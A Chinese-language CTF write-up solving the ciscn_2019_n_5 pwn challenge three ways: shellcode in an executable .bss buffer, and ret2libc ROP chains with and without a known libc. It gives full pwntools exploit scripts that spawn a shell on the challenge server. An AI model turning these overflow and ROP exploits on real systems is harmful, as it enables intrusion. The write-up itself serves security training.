[CISCN 2019华北] PWN5(ciscn_2019_n_5)复现
ciscn_2019_n_5 老套路,首先 checksec 一下文件,保护机制全关(这个时候就要想到可以直接 shellcode)。
然后 IDA 一下看看伪代码,可以发现一个在 .bss 段上面的 name,并且在该代码段为可读可写可执行的权限,也很容易看出来 gets 造成了溢出,下面就开始对症下药:
法一: 直接在 .bss 段 name 上面直接构造 shellcode(因为该文件未开启 NX 保护机制,并且该代码段权限全开),然后直接溢出就可以得到 shell。
from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) io = remote('node4.anna.nssctf.cn' , 28499 ) shellcode = asm(shellcraft.sh()) io.sendlineafter(b'tell me your name\n' , shellcode) name = 0x601080 payload = b'a' * (0x20 + 8 ) + p64(name) io.recvuntil(b'What do you want to say to me?\n' ) io.sendline(payload) io.interactive()
法二:(无 libc 版本文件) 可以直接看成是 ret2libc,直接泄露 libc,构造 rop 链来获得 shell。因为这题有一个在 .bss 段上面的 name,所以可以直接把 /bin/sh 写到 name 里面,最后直接执行就能获得 shell。
EXP 如下:
from pwn import *from LibcSearcher import *context(os='linux' , arch='amd64' , log_level='debug' ) p = remote('node4.anna.nssctf.cn' , 28499 ) elf = ELF('./111' ) plt_addr = elf.sym['puts' ] got_addr = elf.got['puts' ] main_addr = 0x400636 ret_addr = 0x4004c9 rdi_addr = 0x400713 name_addr = 0x601080 p.sendafter(b'name\n' , b'1' ) payload = b'a' * (0x20 + 8 ) + p64(rdi_addr) + p64(got_addr) + p64(plt_addr) + p64(main_addr) p.sendlineafter(b'me?\n' , payload) puts_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) libc = LibcSearcher('puts' , puts_addr) libc_base = puts_addr - libc.dump('puts' ) system = libc_base + libc.dump('system' ) p.sendafter(b'name\n' , b'/bin/sh\x00' ) payload = b'a' * (0x20 + 8 ) + p64(ret_addr) + p64(rdi_addr) + p64(name_addr) + p64(system) p.sendlineafter(b'me?\n' , payload) p.interactive()
法三:(有 libc 版本文件) 此题为 Ubuntu 18(64 位),可在 BUU 上面直接找到相对应的 libc 版本。构造的时候有些地方与无 libc 版本的不同,需要注意。
EXP 如下:
python复制编辑from pwn import * context(os='linux' , arch='amd64' , log_level='debug' ) p = remote('node4.anna.nssctf.cn' , 28158 ) elf = ELF('./111' ) libc = ELF('./libc-2.27.so' ) plt_addr = elf.sym['puts' ] got_addr = elf.got['puts' ] main_addr = 0x400636 ret_addr = 0x4004c9 rdi_addr = 0x400713 name_addr = 0x601080 p.sendafter(b'name\n' , b'1' ) payload = b'a' * (0x20 + 8 ) + p64(rdi_addr) + p64(got_addr) + p64(plt_addr) + p64(main_addr) p.sendlineafter(b'me?\n' , payload) puts_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) libc_base = puts_addr - libc.sym['puts' ] system = libc_base + libc.sym['system' ] p.sendafter(b'name\n' , b'/bin/sh\x00' ) payload = b'a' * (0x20 + 8 ) + p64(ret_addr) + p64(rdi_addr) + p64(name_addr) + p64(system) p.sendlineafter(b'me?\n' , payload) p.interactive()
总结 此题我认为需要认真分析伪代码,发现其漏洞和一些重要信息,并且需要了解怎么构造 shellcode 和构造 rop 执行流,这些都是比较基础的知识点。
最后法二和法三构造 EXP 有些不同点,可以尝试对比一下,你应该会收获不少(上述为个人看法,如有不对,希望各位师傅指正)。